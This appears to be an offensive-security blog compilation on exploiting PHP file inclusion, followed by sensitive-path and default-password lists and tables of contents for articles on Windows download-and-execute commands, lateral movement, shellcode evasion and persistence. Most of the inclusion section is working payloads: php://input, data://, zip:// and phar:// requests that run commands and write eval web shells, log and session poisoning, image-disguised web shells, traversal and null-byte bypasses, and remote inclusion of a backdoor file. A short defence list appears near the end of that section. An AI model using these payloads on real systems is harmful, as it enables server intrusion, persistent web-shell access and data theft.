PHP provides numerous built-in URL-style wrappers that can be used with filesystem functions such as fopen(), copy(), file_exists(), and filesize(). In addition, custom wrappers can be registered via stream_wrapper_register(). PHP pseudo-protocols are supported protocols and wrappers (12 types):

file:// — Access local filesystem
http:// — Access HTTP(s) URLs
ftp:// — Access FTP(s) URLs
php:// — Access various I/O streams
zlib:// — Compression streams
data:// — Data (RFC 2397)
glob:// — Find matching file path patterns
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process interactive streams

file://

The file:// pseudo-protocol accesses local filesystem.

Requirements:

No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=file://C:/Windows/win.ini

php://input

Allows access to the raw request body as a read-only stream. It can read unparsed POST data. Ineffective when enctype="multipart/form-data".

Requirements:

allow_url_include = On.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php phpinfo(); ?>

Note: Bypassing `file_get_contents()` with `php://input`

When encountering file_get_contents(), consider using php://input to bypass restrictions, as PHP pseudo-protocols can also handle HTTP, allowing POST data transfer.

file_get_contents() returns the entire file content as a string. If a string is passed directly as a parameter, it may cause an error, but if the string contains an HTTP URL, it behaves like curl and reads the source code. PHP pseudo-protocols recognise the HTTP protocol, so php://input can read POST data to assign values to parameters.

Test code:

<?php
    echo file_get_contents("php://input");
?>

Result:

php://input (Command Execution)

Requirements:

allow_url_include = On.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php system('whoami'); ?>

php://input (Writing a Trojan)

Requirements:

allow_url_include = On.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>

After execution, the web shell is created in the same directory:

Using a shell management tool (e.g., AntSword), the connection succeeds.

php://filter

A meta-wrapper designed for filtering applications when streams are opened. It reads and writes local disk files.

Requirements:

No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://filter/read=convert.base64-encode/resource=index.php
# Alternative:
fileinclude.php?file=php://filter/convert.base64-encode/resource=index.php
# (The second is shorter and may bypass some WAFs)

By specifying a file at the end, the source code (base64-encoded) can be read and then decoded. Although direct shell access may not be obtained, reading sensitive files is still harmful.

The string PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg== decodes to:

<?php
echo "Hello World";
?>

phar://

This pseudo-protocol extracts archive files. Regardless of the file extension, it is treated as a compressed archive.

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Create a file phpinfo.php with content <?php phpinfo(); ?> and pack it into a ZIP archive:

Specify the absolute path:

fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php

Or use a relative path (if test.zip is in the same directory as fileinclude.php):

fileinclude.php?file=phar://test.zip/phpinfo.php

Note: test.zip must be a ZIP archive; other formats (RAR, 7z) do not work. However, the file extension can be changed to e.g., test.jpg or test.111. This bypasses upload restrictions.

phar:// (Command Execution)

Same as phar://, but with file content changed to <?php system('whoami');?>.

phar:// (Writing a Trojan)

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Create a web shell shell.php with content <?php @eval($_POST[v]);?> and pack into a ZIP archive:

Absolute path:

http://192.168.1.4/fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/shell.php

Relative path (if test.zip in current directory):

http://192.168.1.4/fileinclude.php?file=phar://test.zip/shell.php

After visiting the URL, the web shell is written. Then use a shell management tool (e.g., AntSword) to connect.

Note: The same extension bypass applies: the archive can be renamed.

zip://

The zip:// pseudo-protocol is similar to phar:// but used differently.

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Construct a ZIP package similarly:

With zip://, an absolute path is required. The separator between the archive and the inner file is #, which must be URL-encoded as %23.

fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23phpinfo.php

Relative paths cause inclusion failure.

Note: The same extension bypass applies.

zip:// (Command Execution)

Same as zip://, with file content changed to <?php system('whoami');?>.

zip:// (Writing a Trojan)

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Create a web shell shell.php with content <?php @eval($_POST[v]);?> and pack into a ZIP archive:

Absolute path:

http://192.168.1.4/fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23shell.php

After visiting the URL, the web shell is written. Relative paths cause failure.

data://

A data stream wrapper that redirects the inclusion stream to user-controlled input. In simple terms, it includes the user's input stream.

Requirements:

PHP version >= 5.2
allow_url_fopen = On
allow_url_include = On

Technique 1:

fileinclude.php?file=data:text/plain,<?php phpinfo();?>

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

PD9waHAgcGhwaW5mbygpOz8+ decodes to <?php phpinfo();?>. The + must be URL-encoded as %2b; otherwise an error occurs.

data:// (Command Execution)

Technique 1:

fileinclude.php?file=data:text/plain,<?php system('whoami');?>

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

Decodes to <?php system('whoami');?>.

data:// (Writing a Trojan)

Technique 1:

fileinclude.php?file=data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4nKTs/Pg==

Decodes to <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>.

Including Session Files

Requirements: The session file path is known, and the content is partially controllable.

Technique:

The PHP session file save path can be found in phpinfo under session.save_path.

Common PHP session storage locations:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

Session file naming: sess_[phpsessid]. PHPSESSID can be found in the cookie field of the request.

To include and exploit, the attacker must control some session file content. No general solution exists. Sometimes, include the session file first, observe its contents, then find controllable variables to inject payloads and execute PHP code.

Example 1:

# Line 3
session_start();
if($_SESSION['username']) {
    header('Location: index.php');
    exit;
}

# Line 8
if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];

    # Line 20
    $stmt->bind_result($res_password);

    # Line 24
    if ($res_password == $password) {
        $_SESSION['username'] = base64_encode($username);
        header("location:index.php");
    }
}

The variable $username is controllable and written to $_SESSION. If the data is unfiltered, it ends up in the session file. Combined with file inclusion, the session file may be included.

To include the session file, the path must be known. Register a user (e.g., Johnson). After successful login, note the PHPSESSID cookie value (e.g., 0d0385dc6a1067f4e3406191). Even a failed login creates a session file.

Visit:

http://x.x.x.x/index.php?action=/var/lib/php5/sess_0d0385dc6a1067f4e3406191

However, the username is base64-encoded. Using a pseudo-protocol to decode the entire session file may cause garbled characters due to the serialised prefix. Consider base64 encoding. The session prefix username|s:12:" (the number 12 is the length of the base64 string). For lengths <100, the prefix is 15 characters; for 100–999, it is 16 characters.

16 characters satisfy: 16 * 6 = 96 bits, 96 mod 8 = 0. Thus, when base64-decoding the session file, the first 16 characters become garbled but do not affect the remaining part (the base64-encoded username). Register a username like JohnsonJohnson... (long enough that its base64 length exceeds 100) plus <?php eval($_GET['abcdefg']) ?>. Then visit:

http://x.x.x.x/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_0d0385dc6a1067f4e3406191&abcdefg=phpinfo();

Successful execution leads to a web shell.

Example 2:
session.php with controllable user session:

session_start();
$username = $_POST['username'];
$_SESSION['username'] = $username;

Register a user with <?php phpinfo();?> and log in with that username. Record PHPSESSID (e.g., r7csmqpu1lul3elgsb6o9g6u1b). The session file contains the malicious code.

Include it:

fileinclude.php?file=D:\phpStudy\PHPTutorial\tmp\tmp\sess_r7csmqpu1lul3elgsb6o9g6u1b

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including Log Files

Access Logs

Requirements: Know the server log storage path, and log files must be readable.

Technique:

Web servers (e.g., Apache) write requests to access.log and errors to error.log. Default paths:

1. Apache+Linux: /etc/httpd/logs/access.log or /var/log/httpd/access.log
2. Apache+Win2003: D:\xampp\apache\logs\access.log, D:\xampp\apache\logs\error.log
3. IIS6.0+Win2003: C:\WINDOWS\system32\Logfiles
4. IIS7.0+Win2003: %SystemDrive%\inetpub\logs\LogFiles
5. nginx: /usr/local/nginx/logs/ (or installation directory)

Direct requests may cause encoding issues. Use Burp to modify the request, e.g., change <?php phpinfo();?> to %3C?php%20phpinfo();%20?%3E.

After writing PHP code to /var/log/apache2/access.log, include it.

Default configuration file paths:

1. Apache+Linux: /etc/httpd/conf/httpd.conf or /etc/init.d/httpd
2. IIS6.0+Win2003: C:/Windows/system32/inetsrv/metabase.xml
3. IIS7.0+WIN: C:\Windows\System32\inetsrv\config\applicationHost.config

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code, encode as needed, and include.

SSH Log

Requirements: Know the SSH log location and have read access. Default: /var/log/auth.log or /var/log/secure.

Technique:

Connect via SSH:

ssh '<?php phpinfo(); ?>'@remotehost

Enter any password. The PHP code is written to the SSH log.

Then include the log file.

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including environ

Requirements:

PHP runs as CGI (so that environ retains the User-Agent header).
environ file location is known and readable. Default: /proc/self/environ (Linux only; not available on Windows).

Technique:

/proc/self/environ saves the User-Agent header. Insert PHP code into the User-Agent, then include the file.

Example: intercept a request with Burp and modify the User-Agent:

Then include /proc/self/environ:

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including fd (File Descriptors)

File descriptors (fd) are non‑negative integers returned by the kernel when a file is opened. Default location: /proc/self/fd/ (Linux only). Similar to including environ.

Note on Command Execution and Trojan Writing: Same as including environ.

Including Uploaded Files

Many websites offer file upload (e.g., avatars, documents). Upload a web shell disguised as an image.

Requirements: Know the uploaded file's path and name.

Technique:

Create an image‑based web shell. Two methods:

Using the command line: combine a legitimate image (1.jpg) with a PHP file (2.php) containing fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>:

   copy 1.jpg/b+2.php 3.jpg

Upload 3.jpg to the server (e.g., /upload/202107.jpg). Then include it:

   http://x.x.x.x/index.php?page=./upload/202107.jpg

This creates hack.php in the same directory as index.php, which can be connected with a shell management tool.

Command execution is also possible.

Including Temporary Files

Principle diagram:

When PHP uploads a file, a temporary file is created (Linux: /tmp/php[6 random chars], Windows: c:\windows\temp). Compete to include the temporary file before it is deleted.

The temporary filename can be guessed (Linux randomness flaws; Windows only 65535 possibilities) or obtained from phpinfo page (PHP variables expose the uploaded file's temporary path and name).

Requirements: phpinfo page and file inclusion vulnerability.

Principle:

When sending a POST with a file block, PHP saves a temporary file (e.g., /tmp/phpXXXXXX), deleted after request.
phpinfo displays all variables, including $_FILES, revealing the temporary filename.

Technique (Linux only): Use the script from vulhub/exp.py. It includes the temporary file, which contains:

<?php fileputcontents('/tmp/p','<?=eval($_REQUEST[1])?>')?>

Successful inclusion creates a permanent file /tmp/p.

Then include /tmp/p to execute arbitrary commands.

The script uses race conditions: send a large request to phpinfo, fill with garbage to inflate the output buffer (default 4096 bytes). Read the socket in 4096‑byte chunks; as soon as the temporary filename is found, send the inclusion request before the first socket closes (so the temp file still exists).

Other Inclusion Techniques

Web services may use other services (FTP, databases) that produce files. Specific analysis required (e.g., SMTP logs) – not covered here.

Bypass Techniques

In real scenarios, inclusion is rarely as simple as include $_GET['file'];. Often, prefixes and suffixes are added. Example:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

Bypassing a Fixed Prefix

Test code:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

(Note: On Windows, backslashes in the prefix may cause issues; use forward slashes for directory traversal.)

Solution: Directory Traversal

If /var/log/test.txt contains <?php phpinfo();?>, use ../:

include.php?file=../../log/test.txt

The server concatenates to /var/www/html/../../log/test.txt → /var/log/test.txt.

Solution: Encoding Bypass

Servers often filter ../. Encodings can bypass:

1. URL encoding

../ → %2e%2e%2f, ..%2f, %2e%2e/
..\ → %2e%2e%5c, ..%5c, %2e%2e\

2. Double encoding

../ → %252e%252e%252f
..\ → %252e%252e%255c

3. Container/server‑specific encoding

..%c0%af (see Why does Directory traversal attack %C0%AF work?)
%c0%ae%c0%ae/ (Java: %c0%ae → \uC0AE → .)
..%c1%9c

Bypassing a Fixed Suffix

Test code:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

Solution: URL Query and Fragment

URL format: protocol://hostname[:port]/path[;parameters][?query]#fragment

For RFI (allow_url_fopen=On, allow_url_include=On):

Technique 1: Query (?)

index.php?file=http://remoteaddr/remoteinfo.txt?

Included file becomes http://remoteaddr/remoteinfo.txt?/test/test.php – the suffix is treated as a query.

Command execution / Trojan writing example:

http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php?

where backdoor.php contains <?php system('whoami'); ?>.

Replace with a web‑shell writing payload to get a shell.

Technique 2: Fragment (# or %23)

index.php?file=http://remoteaddr/remoteinfo.txt%23

Included file: http://remoteaddr/remoteinfo.txt#/test/test.php – the suffix becomes a fragment. URL-encode # as %23.

Command execution example:

http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php%23

Difference between Windows and Linux:

Linux works as above.
On Windows, both ? and # (even unencoded) work; no special encoding needed.

Solution: Using Pseudo‑Protocols

Test code with suffix:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

Technique 1: zip://

Construct a ZIP archive (e.g., J0.zip) containing a file J0/test.php (since the suffix appends /test/test.php, we want the inner file to be named appropriately). Let the inner file be J0? Actually, the include is $file . '/test/test.php'. If we set $file to zip://path/to/archive.zip#inner, then the full path becomes zip://.../archive.zip#inner/test/test.php. So the inner file should be inner/test/test.php? Let's follow the example: they created J0.zip with a file J0 (no extension) containing <?php phpinfo(); ?>. Then they used fileinclude2.php?file=zip://D:\phpStudy\PHPTutorial\WWW\J0.zip%23J0. The concatenated string becomes zip://D:\phpStudy\PHPTutorial\WWW\J0.zip#J0/test/test.php. That works because the pseudo‑protocol treats everything after # as the inner file path.

Test content:

Technique 2: phar:// (requires PHP >= 5.3.4)

Using the same ZIP archive. Absolute path:

fileinclude2.php?file=phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0

Concatenated: phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0/test/test.php

Relative path:

fileinclude2.php?file=phar://J0.zip\J0

Note on Command Execution and Trojan Writing: As with zip:// and phar://.

Solution: Length Truncation

PHP version < 5.2.8. Directory strings have maximum length (4096 bytes on Linux, 256 bytes on Windows). Repeating ./ many times:

index.php?file=phpinfo.php././././... (repeated) ././

When the maximum is reached, the suffix /test/test.php is discarded.

Example on Windows:

fileinclude2.php?file=phpinfo.php/./././... (many repetitions)

Adding too many may exceed capacity:

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Solution: Null Byte Truncation (`%00`)

Principle: chr(0) acts as a string terminator. Everything after %00 is ignored.

Requirements:

magic_quotes_gpc = Off (if On, %00 becomes \0 and is escaped)
PHP version < 5.3.4

index.php?file=phpinfo.php%00

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Defence Measures

Configure PHP's open_basedir to restrict file access to specified directories. This will cause inclusion to fail for files outside the web directory.
Manage file permissions carefully.
Limit includable files via whitelisting or by setting a dedicated include directory.
Filter dangerous characters: . (dot), / (forward slash), \ (backslash), and other special characters.
Set allow_url_fopen = Off and allow_url_include = Off. Although many pseudo‑protocols still work, this reduces the attack surface.
Avoid dynamic inclusion whenever possible.

Windows and Linux Sensitive Directory Path Summary

Excalibra — Sun, 07 Jun 2026 05:01:24 +0000

Windows and Linux Sensitive Directory Path Summary

Abstract: This article describes how to exploit file inclusion and arbitrary file download vulnerabilities. It provides file lookup commands for different operating systems, lists common configuration file names for Apache, MySQL, PHP, etc., and mentions sensitive files and information, such as probe pages, system files, and critical paths in content management systems (CMS). In addition, default paths for website building tools such as XAMPP and phpStudy are covered, along with relevant files for common CMS platforms.

0x01 Basic Information

When encountering vulnerabilities such as file inclusion or arbitrary file download, the information in this article can be utilised to facilitate subsequent attacks.

0x02 Configuration Files

Finding Files

If command execution is possible, use the lookup commands directly.

Linux-related commands:

# Find a file
find / -name filename.ext

# Search entire disk for files containing 'flag'
grep flag -r /

Windows-related commands:

# Search entire disk for a file; be sure to add an asterisk!
for /r c:\ %i in (password.txt*) do @echo %i
for /r c:\ %i in (*.ini) do @echo %i

# Search drive C: for files containing the string 'password'; double quotes are required!
findstr /s /n "password" c:\*

# Check whether pwd.txt contains the string 'password'; double quotes are required!
find /N /I "password" pwd.txt

Common Configuration File Names

# Apache
httpd.conf

# MySQL
my.ini

# Virtual host configuration
httpd-vhosts.conf

# IIS
metabase.xml
applicationHost.config

# SSH
/etc/ssh/sshd_config

# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# PHP
php.ini

# WebLogic (read password)
./security/SerializedSystemIni.dat
./config/config.xml

Apache

# Configuration file path
/etc/httpd/conf/httpd.conf

# Default site path
/var/www/html/

# Ubuntu configuration file
/etc/apache2/apache2.conf

# Access log and error log
/private/var/log/apache2/error_log
/private/var/log/apache2/access_log

IIS

# Configuration file
web.config

MySQL

# Configuration file
/etc/my.cnf
/etc/mysql/my.cnf

phpMyAdmin

# Configuration file
config.inc.php

# Default path
/var/www/phpmyadmin/config.inc.php

XAMPP Suite

Related paths:

# Website default path
xampp\htdocs

# Apache basic configuration
xampp\apache\conf\httpd.conf

# Apache SSL
xampp\apache\conf\ssl.conf

# Apache Perl (plugin only)
xampp\apache\conf\perl.conf

# Apache Tomcat (plugin only)
xampp\apache\conf\java.conf

# Apache Python (plugin only)
xampp\apache\conf\python.conf

# Virtual hosts
xampp/apache/conf/extra/httpd-vhosts.conf

# PHP
xampp\php\php.ini

# Database default path
xampp\mysql\data

# MySQL
xampp\mysql\bin\my.ini

# phpMyAdmin
xampp\phpMyAdmin\config.inc.php

# FileZilla FTP server
xampp\FileZilla

# FTP/FileZilla Server.xml
Mercury

# Mercury mail server basic configuration
xampp\MercuryMail\MERCURY.INI

# Sendmail
xampp\sendmail\sendmail.ini

Default passwords:

# MySQL
User: root   Password: (empty)

# FileZilla FTP
User: newuser   Password: wampp
User: anonymous   Password: some@mail.net

# Mercury
Postmaster: postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
TestUser: newuser   Password: wampp

# WEBDAV
User: wampp   Password: xampp

phpStudy Suite

Earlier versions of the phpStudy suite were reported to be problematic, with issues such as port conflicts and poor database management. However, when tested again on Windows (as of August 2019), these problems were no longer observed, reflecting the rapid evolution of technology and product updates.

There is also a Pro version, so the paths have changed accordingly. This summary takes the Pro version as an example; for the standard version, simply remove 'Pro'.

Related paths:

# Root directory
phpstudy\WWW
phpstudy_pro\WWW

# phpMyAdmin
phpstudy_pro\WWW\phpMyAdmin4.8.5

# PHP: In the Pro version, plugins are displayed as extensions.
phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

0x03 Sensitive Files

Probe Information

When using XAMPP/LAMPP/phpStudy/PHPnow, some probe pages may be left behind, revealing useful information, such as Document_Root (representing the website root directory) and session.save_path (storing session information).

1.php
l.php
p.php
probe.php
test.php
info.php
phpinfo.php

Windows

# View system version
c:\boot.ini

# IIS configuration file
c:\windows\system32\inetsrv\MetaBase.xml

# Stores the initial installation password for Windows
c:\windows\repair\sam

# MySQL configuration
c:\ProgramFiles\mysql\my.ini

# MySQL root password
c:\ProgramFiles\mysql\data\mysql\user.MYD

# PHP configuration information
c:\windows\php.ini

Linux

Basic Linux privilege escalation paths:

# Account information
/etc/passwd

# Account password file
/etc/shadow

# Apache2 default configuration file
/usr/local/app/apache2/conf/httpd.conf

# Virtual website configuration
/usr/local/app/apache2/conf/extra/httpd-vhost.conf

# PHP configuration file
/usr/local/app/php5/lib/php.ini

# Apache configuration file
/etc/httpd/conf/httpd.conf

# MySQL configuration file
/etc/my.conf

0x04 Common CMS Examples

CMS-A

/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php

CMS-B

/wp-admin/includes/file.php
/wp-content/themes/theme-name/footer.php

CMS-C

/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php

CMS-D

/admin/inc/hack/count.php?job=list
/admin/inc/hack/search.php?job=getcode
/admin/inc/ajax/bencandy.php?job=do
/cache/MysqlTime.txt
/cms-root/

CMS-E

/lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
/lib/default/special_act.php

DEV Community: Excalibra

A Comprehensive Compendium of Windows Download and Execution Commands

Table of Contents

1. bitsadmin Command (Windows 7 and Above)

2. PowerShell Command Download and Execution (Windows 7 and Above)

3. mshta Command Download and Execution

4. rundll32 Command Download and Execution

5. regasm Command from .NET Framework

6. CMD Remote Command Download

7. regsvr32 Command Download and Execution

8. certutil Command Download and Execution

9. MSBuild Command from .NET Framework

10. odbcconf Command Download and Execution

11. cscript Script Remote Command Download and Execution

12. pubprn.vbs Download and Execution Command

13. Native Windows copy Command

14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)

15. IEExec Command Download and Execution

16. msiexec Command Download and Execution

17. GreatSCT Download and Execution Project

Domain Lateral Movement: PTH, PTK, and PTT Hash-Based Credential Transfer

The Kerberos Protocol Workflow

Technique Summaries

Case Study 1: Domain Lateral Movement via PTH Transfer - Mimikatz

Case Study 2: Domain Lateral Movement via PTK Transfer - Mimikatz

Case Study 3: Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets

Case Study 4: The Ladon Intranet Penetration Framework - Testing and Validation

Rapid Identification of Domain Administrators and Domain Controllers in Internal Network Penetration Testing

Locating Domain Administrators

Command Line Identification

Tool-Based Identification

PSLoggedon.exe

PVefindaduser.exe

PowerView.ps1

Locating Domain Controllers

Command Line Identification

DNS Record Enumeration

Port Probing

SPN Scanning

Summary

A Summary of Shellcode Evasion Techniques

Shellcode Evasion Techniques: A Practical Guide

Introduction

0x01 Shellcode "Separation" Evasion

A) Loaders for Executing Shellcode

SSI (Shellcode String Injection):

Shellcode Launcher:

C# Loader:

Python Loader:

Go with Inline C:

Resource Loading: CPLResourceRunner

PowerShell Loading (MMFml):

B) Lolbins: Leveraging Trusted Binaries for Shellcode Loading

DarkHydrus APT Sample

Mshta:

Msiexec:

Msbuild:

Installutil:

Wmic:

Csc:

0x02 Shellcode "Obfuscation" Evasion

A) Shellcode Encoding Obfuscation

C# XOR Example (ShellcodeWrapper):

Python Base64 Example (k8gege):

Python Hexadecimal Example:

Shellcode Encoder

MSFVenom Example:

Using Templates and Encoders

Veil Encryption:

Schelper:

Obfuscation (PowerShell):

B) Shellcode Injection Obfuscation

Backdoor Factory (BDF):

Shellter:

Avet:

Legitimate Process Injection

0x03 Technique Combinations

Powershell-Payload-Excel-Delivery

Linux Persistence Maintenance

0X00 On Persistence Maintenance

Carriage Return Backdoor (`\r`)